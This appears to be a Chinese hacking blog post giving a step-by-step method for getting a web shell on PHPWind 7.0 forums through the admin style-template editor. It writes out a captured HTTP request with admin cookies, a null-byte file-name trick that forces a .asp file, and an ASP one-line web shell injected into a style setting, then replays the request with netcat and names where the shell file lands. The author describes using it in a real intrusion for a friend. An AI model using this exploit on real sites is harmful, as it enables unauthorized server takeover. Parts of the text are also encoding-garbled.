最新的phpwin7.0拿shell的方法

 最近很很忙， 哎。 。 。 。 而且忙的要死， 但是一個(gè)以前的朋友要幫忙搞定一個(gè)站， 打開是PHPWIND7的論壇， 在入侵一個(gè)PHPWIND論壇時(shí)的成果,適用于PHPWIND不能上傳,而網(wǎng)上盛傳的三種拿SEHLL方法都無效,可以一試,應(yīng)該算是PHPWIND后臺(tái)的漏洞

   呵呵， 下面教大家一個(gè)方法， 個(gè)人是測(cè)試可以

工具:winsock專家 v0.6 betan1 一只;UE-32.EXE一只；NC.EXE一只,電腦一臺(tái)(只見一堆磚頭飛過。 。 。 。 )

首先， 進(jìn)入風(fēng)格插件>>>>風(fēng)格模板>>>>添加風(fēng)格.在第一項(xiàng)， 此風(fēng)格在image目錄下的文件夾名稱:填TEST或FUCKCNN。 。 然后按提交。

然后點(diǎn) [返 回 繼 續(xù) 操 作] 找到剛才新建的風(fēng)格， 點(diǎn)編緝，

這里就要輪到winsock出場(chǎng)了...

打開IE進(jìn)程抓包隨便改點(diǎn)什么,如下面的98%改成97%.這里關(guān)鍵的是把數(shù)據(jù)包抓下來,其它的沒所謂

一共二條數(shù)據(jù)如下:

1:

POST /phpwindhttp://img6.22122511.com/upload/net_2/admin.php?adminjob=setstyles&verify=bb457aae& HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://x22222.h21.ttrr.com/phpwi ... n=edit&sid=test

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727)

Host: x22222.h21.ttrr.com

Content-Length: 473

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: 9f9e2_lastpos=T3; 9f9e2_ol_offset=97; 9f9e2_threadlog=%2C2%2C; 9f9e2_winduser=C20FAgIEVABSV1RYUAQDVwICDVcAA1MDVwcGBwEFUgUABGg%3D; 9f9e2_ck_info=%2F%09; 9f9e2_lastvisit=7102%091208851845%09%2Fphpwind%2Fupload%2Fread.php%3Ftid%3D3; 9f9e2_ipfrom=32f09dc105198e55683b704b0f8fbc6b%09%B9%E3%B6%AB%CA%A1%0D; 9f9e2_readlog=%2C1%2C2%2C3%2C; 9f9e2_adskin=0; 9f9e2_cknum=CFZUCggDVABSDDtoA1ZRB1VTCQVUCgJVUwMGAQpXBgdcB1FWWwUHAgFWVlA%3D; 9f9e2_AdminUser=CFZUCggAXQVVBDsAVV4MWmgHWF0BBlUPUAZTDQZTBlIAVlcDXFIGVFNWAVFQUFADBTo%3D

2:

action=edit&step=3&sid=test&setting%5B0%5D=test&setting%5B1%5D=wind&setting%5B2%5D=1&setting%5B7%5D=97%25&setting%5B8%5D=98%25&setting%5B3%5D=%23fff&setting%5B4%5D=%232f5fa1&setting%5B5%5D=%23B6D9E3&setting%5B6%5D=%23D4EFF7&setting%5B9%5D=%2376BAC2&setting%5B10%5D=%2376BAC2&setting%5B11%5D=%23005681&setting%5B12%5D=%235495A0&setting%5B13%5D=%23F7F7F7&setting%5B14%5D=%23D6E8CB&setting%5B15%5D=%23659b28&setting%5B16%5D=%23ffffff&setting%5B17%5D=%23F4FBFF&setting%5B18%5D=

分別把他們存為a.txt和b.txt

重點(diǎn)到了,我們打開b.txt,把第三個(gè)參數(shù)sid=test改為test.aspa,在最后的參數(shù)改為setting%5B18%5D=%0D%0C%3C%25ExecuteGlobal+request%28%221%22%29%25%3E簡(jiǎn)化點(diǎn)就是[回車符]<%ExecuteGlobal request("1")%>

存盤,可以了,然后查看一下b.txt的大小530字節(jié).套套是給他作好了,再給他帶上看看,

好,現(xiàn)在我們把b.txt的內(nèi)容復(fù)制到a.txt的最下面,再用ue-32打開a.txt,把下面這行Content-Length: 473改成Content-Length: 530,然后切換[到十六進(jìn)制模式]把剛才修改的第三個(gè)參數(shù)sid=test.aspa改為sid=test.asp ,注意,這個(gè) 為十六進(jìn)制的00 .存盤,

用NC.EXE發(fā)送

OK,現(xiàn)在讓我們上FTP看看有沒有生成TEST.ASP(當(dāng)然,如果是入侵的話就直接用一句話客戶端去連拉)

要記得你生成的文件在bbs.xxxxxxxxx.com/data/style/test.asp

呵呵， 有的問了為什么我們部直接上傳php呢， 因?yàn)镻HP會(huì)把我們輸入的一句話包含到單引號(hào)里面,這樣我們的一句話就不能執(zhí)行了,而ASP單引號(hào)不影響我們的執(zhí)行， 哈哈哈， 大家這會(huì)知道了吧。 很簡(jiǎn)單， 也許大家說如果那個(gè)不支持ASP怎么辦， 那我只能說你運(yùn)氣太差了， 我猜目前大多的空間商是支持的， 還有大部分都應(yīng)該支持吧， 畢竟是支持微軟的。